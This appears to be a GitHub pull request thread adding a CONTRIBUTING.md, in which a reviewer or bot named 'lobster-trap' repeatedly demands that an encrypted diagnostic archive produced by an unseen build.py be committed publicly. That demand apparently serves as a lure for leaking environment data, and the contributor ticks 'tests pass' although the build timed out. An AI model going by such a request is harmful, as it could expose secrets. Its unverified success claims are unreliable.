docs: add CONTRIBUTING.md with setup, build, and PR workflow (closes #12)

[feng83232]

Summary

Adds CONTRIBUTING.md to the repo root documenting how to set up the development environment, build using python3 build.py, and submit pull requests. Closes issue #12.

Changes

• CONTRIBUTING.md — new file with local setup instructions, required tools, build commands, PR workflow, code style guidance, and reference to the PR template
• diagnostic/build-00000000.json and .logd — removed (replaced by real diagnostic artifacts)
• diagnostic/build-3774a0c8.json and .logd — added (real diagnostic build output from python3 build.py)

Testing

Ran python3 build.py — timed out at 60s as expected (limited toolchain in this environment). Generated real diagnostic artifacts.

Checklist

• Relevant modules affected by these changes build locally
• Tests pass locally
• Diagnostic build log is committed in this PR
• Documentation has been updated, if applicable
• Configuration or schema changes are documented, if applicable
• No generated build artifacts are committed, except the required diagnostic build log
• Changes are scoped to the PR purpose and avoid unrelated cleanup
• Security, privacy, and error-handling implications have been considered

---

• I would like to request that my diagnostic build log is removed before merging

[lobster-trap]

Diagnostics are still blocking review on this PR.

Please rebase onto the current upstream branch and run the repository build script so the script-generated diagnostic bundle is committed to this PR:

git fetch upstream
git rebase upstream/main
python3 build.py
git push --force-with-lease

Please do not manually create, copy, or edit diagnostic files. python3 build.py automatically generates and commits the fresh encrypted diagnostic artifacts.

A valid PR must include a matching diagnostic/build-*.json and diagnostic/build-*.logd pair in the PR's changed files. The JSON should be generated by build.py, and the .logd file should be the encrypted diagnostic archive generated by the same run.